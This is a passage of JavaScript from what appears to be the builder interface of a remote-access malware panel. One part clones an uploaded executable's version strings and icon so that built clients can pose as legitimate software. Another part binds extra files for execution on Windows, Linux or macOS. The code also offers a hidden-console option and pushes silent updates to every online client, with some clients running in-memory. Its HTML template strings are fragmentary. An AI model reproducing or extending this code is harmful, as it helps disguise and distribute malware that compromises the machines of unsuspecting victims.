sEnd); while (np + 1 < valEnd && (u8(np) | u8(np + 1))) { val += String.fromCharCode(u8(np) | (u8(np + 1) << 8)); np += 2; } if (name) strings[name] = val; tp = alignUp(sEnd); } sp = alignUp(stEnd); } } pos = alignUp(childEnd); } return strings; } function buildIco(groupOff, iconRes) { if (groupOff + 6 > buffer.byteLength) return null; const count = u16(groupOff + 4); if (count === 0 || groupOff + 6 + count * 14 > buffer.byteLength) return null; const grpEntries = []; for (let i = 0; i < count; i++) { const e = groupOff + 6 + i * 14; grpEntries.push({ w: u8(e), h: u8(e + 1), cc: u8(e + 2), planes: u16(e + 4), bits: u16(e + 6), size: u32(e + 8), id: u16(e + 12), }); } const iconData = []; for (const en of grpEntries) { const rd = iconRes[en.id]; if (!rd || rd.length === 0) continue; iconData.push({ en, dataOff: rd[0].dataOff, dataSize: rd[0].dataSize }); } if (iconData.length === 0) return null; let totalSize = 6 + iconData.length * 16; for (const id of iconData) totalSize += id.dataSize; const ico = new Uint8Array(totalSize); const idv = new DataView(ico.buffer); let p = 0; idv.setUint16(p, 0, true); p += 2; // reserved idv.setUint16(p, 1, true); p += 2; // type = ICO idv.setUint16(p, iconData.length, true); p += 2; let dataOffset = 6 + iconData.length * 16; const entryStart = p; let ep = entryStart; p += iconData.length * 16; for (const { en, dataOff, dataSize } of iconData) { ico[ep] = en.w; ico[ep+1] = en.h; ico[ep+2] = en.cc; ico[ep+3] = 0; idv.setUint16(ep + 4, en.planes, true); idv.setUint16(ep + 6, en.bits, true); idv.setUint32(ep + 8, dataSize, true); idv.setUint32(ep + 12, dataOffset, true); ep += 16; ico.set(bytes.subarray(dataOff, dataOff + dataSize), dataOffset); dataOffset += dataSize; } let bin = ""; for (let i = 0; i < ico.length; i++) bin += String.fromCharCode(ico[i]); return btoa(bin); } const result = {}; if (resources[16]) { const vd = Object.values(resources[16]).flat()[0]; if (vd) { try { result.strings = parseVersionStrings(vd.dataOff, vd.dataSize); } catch (_) {} } } if (resources[14] && resources[3]) { const gd = Object.values(resources[14]).flat()[0]; if (gd) { try { result.iconBase64 = buildIco(gd.dataOff, resources[3]); } catch (_) {} } } return result; } const cloneExeUpload = document.getElementById("clone-exe-upload"); const cloneExeLabel = document.getElementById("clone-exe-label"); const cloneExeStatus = document.getElementById("clone-exe-status"); function setCloneStatus(msg, isError) { if (!cloneExeStatus) return; cloneExeStatus.textContent = msg; cloneExeStatus.className = "text-xs " + (isError ? "text-red-400" : "text-emerald-400"); cloneExeStatus.classList.remove("hidden"); } if (cloneExeUpload) { cloneExeUpload.addEventListener("change", () => { const file = cloneExeUpload.files[0]; if (!file) return; if (cloneExeLabel) cloneExeLabel.textContent = file.name; setCloneStatus("Parsing...", false); const reader = new FileReader(); reader.onload = () => { try { const meta = extractPEMetadata(reader.result); const s = meta.strings || {}; const fields = [ ["assembly-title", s["FileDescription"] ?? s["InternalName"] ?? ""], ["assembly-product", s["ProductName"] ?? ""], ["assembly-company", s["CompanyName"] ?? ""], ["assembly-version", s["FileVersion"]?.replace(/,\s*/g, ".") ?? s["ProductVersion"]?.replace(/,\s*/g, ".") ?? ""], ["assembly-copyright", s["LegalCopyright"] ?? s["LegalTrademarks"] ?? ""], ]; let filled = 0; for (const [id, val] of fields) { const el = document.getElementById(id); if (el && val) { el.value = val; filled++; } } if (meta.iconBase64) { const decodedBytes = Math.floor(meta.iconBase64.length * 3 / 4); if (decodedBytes <= 1024 * 1024) { pendingIconBase64 = meta.iconBase64; if (iconLabel) iconLabel.textContent = file.name + " (cloned icon)"; if (iconClear) iconClear.classList.remove("hidden"); setCloneStatus(`Cloned ${filled} metadata field(s) + icon`, false); } else { setCloneStatus(`Cloned ${filled} metadata field(s) (icon too large, skipped)`, false); } } else { setCloneStatus(filled > 0 ? `Cloned ${filled} metadata field(s), no icon found` : "No metadata found in file", !filled); } } catch (err) { setCloneStatus("Error: " + err.message, true); } cloneExeUpload.value = ""; }; reader.readAsArrayBuffer(file); }); } const MAX_BIND_FILES = 5; const MAX_BIND_FILE_BYTES = 200 * 1024 * 1024; // 200 MB let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean } const bindFileInput = document.getElementById("bind-file-input"); const bindFilesList = document.getElementById("bind-files-list"); const bindAddLabel = document.getElementById("bind-add-label"); function sanitizeBindName(name) { return name.replace(/[^A-Za-z0-9._-]/g, "").slice(0, 64) || "file"; } function renderBoundFiles() { if (!bindFilesList) return; bindFilesList.innerHTML = ""; boundFiles.forEach((entry, idx) => { const div = document.createElement("div"); div.className = "flex flex-col gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg"; const osList = ["windows", "linux", "darwin"]; const osIcons = { windows: "fa-brands fa-windows", linux: "fa-brands fa-linux", darwin: "fa-brands fa-apple" }; const osColors = { windows: "text-blue-400", linux: "text-amber-400", darwin: "text-slate-200" }; const osLabels = { windows: "Windows", linux: "Linux", darwin: "macOS" }; const osCheckboxes = osList .map( (os) => ``, ) .join(""); div.innerHTML = `
Checking online clients...
'; try { const res = await fetch("/api/build/update-eligible", { method: "POST", headers: { "Content-Type": "application/json" }, credentials: "include", body: JSON.stringify({ platforms }), }); if (!res.ok) { const data = await res.json().catch(() => ({})); updateAllModalBody.innerHTML = `${data.error || "Failed to check eligible clients"}
`; return; } const data = await res.json(); let html = ""; html += `${data.eligible} client(s) will receive the update after build.
`; html += '${data.totalOnline} total online client(s)
`; if (data.skippedInMemory > 0) { html += `${data.skippedInMemory} client(s) will be skipped (running in-memory)
`; } if (data.skippedNoMatch > 0) { html += `${data.skippedNoMatch} client(s) will be skipped (no matching platform)
`; } html += "No clients are currently online. The build will still run but no updates will be sent.
'; } html += 'This will build the client and push the update to all eligible clients. Clients will restart automatically.
'; updateAllConfirm.disabled = false; updateAllModalBody.innerHTML = html; } catch (err) { updateAllModalBody.innerHTML = `Error: ${err.message}
`; } }); } if (updateAllConfirm) { updateAllConfirm.addEventListener("click", () => { hideUpdateAllModal(); pendingUpdateAll = true; pendingUpdateHideWindow = !!form.querySelector('input[name="hide-console"]')?.checked; form.requestSubmit(); }); } if (buildUploadBtn) { buildUploadBtn.addEventListener("click", () => { if (isBuilding) return; const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked'); if (platformCheckboxes.length === 0) { alert("Please select at least one platform to build"); return; } pendingUpload = true; form.requestSubmit(); }); } async function pushUpdateToAllClients(buildId, hideWindow) { addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info"); try { const res = await fetch("/api/build/update-all", { method: "POST", headers: { "Content-Type": "application/json" }, credentials: "include", body: JSON.stringify({ buildId, hideWindow }), }); const data = await res.json().catch(() => ({})); if (!res.ok) { addBuildOutput(`Update failed: ${data.error || "Unknown error"}\n`, "error"); return; } const succeeded = data.successCount || 0; const total = data.totalOnline || 0; const failed = (data.results || []).filter((r) => !r.ok); const inMemoryCount = failed.filter((r) => r.reason === "in_memory").length; const noMatchCount = failed.filter((r) => r.reason === "no_matching_build").length; addBuildOutput(`Update sent to ${succeeded} of ${total} online client(s)\n`, "success"); if (inMemoryCount > 0) { addBuildOutput(` ${inMemoryCount} client(s) skipped (running in-memory)\n`, "warn"); } if (noMatchCount > 0) { addBuildOutput(` ${noMatchCount} client(s) skipped (no matching build)\n`, "warn"); } const otherFailed = failed.filter((r) => r.reason !== "in_memory" && r.reason !== "no_matching_build"); if (otherFailed.length > 0) { addBuildOutput(` ${otherFailed.length} client(s) failed for other reasons\n`, "warn"); } } catch (err) { addBuildOutput(`Update error: ${err.message}\n`, "error"); } }